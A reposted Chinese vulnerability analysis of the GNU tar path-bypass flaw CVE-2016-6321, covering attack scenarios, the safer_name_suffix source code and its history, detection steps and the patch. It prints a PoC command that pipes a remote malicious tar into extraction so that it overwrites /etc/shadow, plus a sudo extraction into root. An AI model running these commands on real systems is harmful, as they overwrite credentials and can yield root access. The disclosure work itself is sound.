专栏首页Seebug漏洞平台GNU tar 解压路径绕过漏洞(CVE-2016-6321) 分析

GNU tar 解压路径绕过漏洞(CVE-2016-6321) 分析

Author: LG (知道创宇404安全实验室)

漏洞简介

GNU tar文档管理命令是linux系统下常用的一个打包、压缩的命令。经CSS(FSC1V Cyber Security Services)团队的研究员Harry Sintonen研究发现,tar命令在提取路径时能够被绕过导致在某些情况下文件被覆盖。在一些特定的场景下,利用此漏洞甚至可导致远程代码执行。

漏洞影响范围

从GNU tar 1.14 to 1.29 (包含1.29) 影响包括Red Hat,Alphine Linux,Red Star OS以及其他所有使用GNU tar的Linux系统。

漏洞细节

攻击者利用该漏洞,构造一个特殊的tar包。当受害者使用tar命令解压时,受害者指定的目标路径可被绕过,tar包内的文件与目录就被解压到攻击者指定的位置。

具体攻击场景

以下为漏洞发现者提供的实际攻击场景 :

1.攻击者可以用这种手段诱使用户替换一些重要的文件,例如 .ssh/authorized_keys , .bashrc , .bash_logout , .profile , .subversion.anyconnect

  user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \  
  --wildcards 'blurf*'
  tar: Removing leading `blurf/../' from member names  
  user@host:~$ cat .ssh/authorized_keys
  ssh-rsa AAAAB3...nU= mrrobot@fsociety
  user@host:~$

2.有一些从web应用或者其它类似来源自动解压文件的脚本,这些脚本一般会以setuid root权限执行,通常这类脚本的解压命令如下: #tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc

在这种情况下,攻击者可以重写 /var/spoon/cron/crontabs/root 以获取root身份的代码执行能力; 也可以将可能被root身份执行的二进制文件替换成一个有后门的版本; 或者投放一个setuid root的二进制文件,等待被管理员执行,使攻击者有机会获取root权限。

3.以root身份执行解压命令也可能被攻击 。例如上文中提到覆写/etc/shadow的例子

如果--exclude规则与--anchored选项同时使用,那么即使手动加了--exclude规则也没有用,例如:

tar -C / -xvf tar-poc.tar --anchored --exclude etc/shadow

在两种情况下,攻击者都成功地把/etc/test替换成了任意内容。

不过,在实际利用这个漏洞时,攻击者需要首先知道一些特定的前导信息,例如解压命令执行时实际在命令行下指定的路径名,毕竟在构造攻击tar包时“../”序列之前的路径前缀需要符合tar命令中所输入的路径,攻击才能奏效。

代码分析

根据漏洞发现者的分析,在lib/paxnames.c文件中,有一个safer_name_suffix()函数,这个函数取代了1.13版本的检查机制。

/* Return a safer suffix of FILE_NAME, or "." if it has no safer
   suffix.  Check for fully specified file names and other atrocities.
   Warn the user if we do not return NAME.  If LINK_TARGET is 1,
   FILE_NAME is the target of a hard link, not a member name.
   If ABSOLUTE_NAMES is 0, strip filesystem prefix from the file name. */

char *  
safer_name_suffix (char const *file_name, bool link_target,  
           bool absolute_names)
{
  char const *p;
  if (absolute_names)
    p = file_name;
  else
    {
      /* Skip file system prefixes, leading file name components that contain
     "..", and leading slashes.  */

      size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);

      for (p = file_name + prefix_len; *p; )
    {
          if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
        prefix_len = p + 2 - file_name;
      do
        {
          char c = *p++;
          if (ISSLASH (c))
        break;
        }
      while (*p);
    }
      for (p = file_name + prefix_len; ISSLASH (*p); p++)
    continue;
      prefix_len = p - file_name;
      if (prefix_len)
    {
      const char *prefix;
      if (hash_string_insert_prefix (&prefix_table[link_target], file_name,
                     prefix_len, &prefix))
        {
          static char const *const diagnostic[] =
          {
        N_("Removing leading `%s' from member names"),
        N_("Removing leading `%s' from hard link targets")
          };
          WARN ((0, 0, _(diagnostic[link_target]), prefix));
        }
    }
    }
    //...    
    return p ;

从代码注释可以看出,如果absolute_names变量为1,将file_name赋值给p继续.反之若为0则将文件名中文件系统的前缀给去掉,并且也会对file_name进行一些安全检查 。

因此,当tar解包时若文件名中包含“../”,safer_name_suffix函数会删除"../"及其之前的部分,将其与解压目录路径变为相对关系。这么做的目的是在兼顾文件名的安全性时保证文件的提取,而不是之前版本中改动的跳过含有恶意文件名的文件。在经过长达13年的应用后,这个漏洞终于被Harry Sintonen发现并公布出来。

于是,笔者研究了这个漏洞相关的发展历史。 tar所有版本下载链接 发现:

  • tar通过src/extarct.c提取文件
  • extract.c Revision 1.35前未加入安全检测,可以通过“../”字符串直接绕过解压路径问题,并将文件写到任意位置
  • extract.c Revision 1.35加入安全检测,会警告压缩文件文件名中存在“..”字符串,并且会跳过不去处理这些文件
  • extract.c Revision 1.47引入safernamesuffix函数
  • tar 1.16版本后,extract.c文件代码重构,在lib/paxnames.c文件中定义safer_name_suffix函数

然后笔者继续深入,通过tar官网extract.c文件更新列表对比,从源代码分析tar的安全检测行为。

1999/12/13 commit 前后对比

Revision 1.35官方tag中有一条:

++(extract_archive): By default, warn about ".." in member names, and skip 
them.++

即Revision 1.35加入了(extract_archive):默认情况下,在成员名称中警告“..”,并跳过它们

上图中,绿色代码区的功能就填补了之前安全检测的空白。它首先遍历CURRENT_FILE_NAME,如果存在".."就会警告"Member name contains`..'",然后跳过这些文件,不去处理它们。而左边的灰色空白区域表明之前的版本缺少安全检测,"../"字符串就能绕过解压路径将文件写到任意位置。

2003/07/05 commit 前后对比

在Revision 1.47官方tag中:

++(extract_archive): Use safer_name_suffix rather than rolling our own.++这就是漏洞初始出现的位置了。

通过代码对比我们可以看到,更新的版本使用safer_name_suffix 函数来替代了开发者自己写的规则。

漏洞检测方法

方法一:漏洞发现者给出了示例PoC,用户可用其自检。 (该方法会覆盖用户帐号密码,导致root用户密码为空,建议使用实验环境测试或者采用方法二)

curl https://sintonen.fi/advisories/tar-poc.tar |     tar xv etc/motd
cat etc/shadow

示例poc

示例poc中含有一个文件shadow,路径为etc/motd/../etc/shadow。在根目录下解压该包,由于漏洞的影响,"../"前面的内容给去掉了,路径文件名只剩下etc/shadow,原有etc/shadow文件就被其覆盖了。

方法二: 访问https://sintonen.fi/advisories/tar-poc.tar 下载测试tar包后在提取前重命名tar包内shadow文件名,如重命名为test。然后运行如下命令: sudo -s tar -C / -xvf tar-poc.tar etc/motd 查看etc目录下,若生成了test文件,证明漏洞存在。

漏洞修复补丁

官方补丁地址 GNU tar修复了该漏洞,将安全检测机制重新替换回了extract.c Revision 1.35的规则。

漏洞利用分析

在实际场景中,此漏洞的利用条件比较苛刻。

参考链接

[1]https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339

[2]https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt

[3]https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch

[4]https://www.gnu.org/software/tar/

[5]http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release115_1#rev1.47

本文分享自微信公众号 - Seebug漏洞平台(seebug_org),作者:LG

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-11-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2015-2545 Word 利用样本分析

    0 引子 在上一篇文章中,我们分析了 Office 文档型漏洞 CVE-2015-1641 的利用,本文将继续对此类漏洞中的另一常见案例 CVE-2015...

    Seebug漏洞平台
  • Huawei HG532 系列路由器远程命令执行漏洞分析

    作者:fenix@知道创宇404实验室 背 景 华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。 2017/11/27,Ch...

    Seebug漏洞平台
  • Sony IPELA E 系列网络摄像头远程命令执行漏洞预警

    索尼[1]是世界视听、电子游戏、通讯产品和信息技术等领域的先导者,是世界最早便携式数码产品的开创者,是世界最大的电子产品制造商之一。

    Seebug漏洞平台
  • Ubuntu--tar命令

    tar zxvf ut6410-android2.1.tgz tar zcvf ut6410-android2.1.tgz ut6410-android2.1/...

    cloudskyme
  • Linux下常用压缩 解压命令和压缩比率对比

    常用的格式有: tar, tar.gz(tgz), tar.bz2, 不同方式,压缩和解压方式所耗CPU时间和压缩比率也差异也比较大。 1. tar 只是打包...

    joshua317
  • Hacker基础之Linux篇:基础Linux命令八

    我们开始学习Linux压缩和打包基础 tar 在Linux中,打包和压缩是分两步完成的 打包 打包是将多个文件归并到一个文件中 tar -cvf test.ta...

    用户1631416
  • linux 下解压 压缩命令

    1.压缩命令: 命令格式:tar -zcvf 压缩文件名.tar.gz 被压缩文件名 可先切换到当前目录下。压缩文件名和被压缩文件名都可加入路径。...

    98k
  • Linux下如何解压tar.gz、tar.bz2、tar.xz和zip

    linux下经常使用tar来打包文件,这样做的原因是tar打包可以保持原有文件夹的属性,比如可执行或者可读可写等。

    望天
  • xz解压 原

    (adsbygoogle = window.adsbygoogle || []).push({});

    双面人
  • Linux的文件的打包(tar方法)

    -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件

    Dream城堡

扫码关注云+社区

领取腾讯云代金券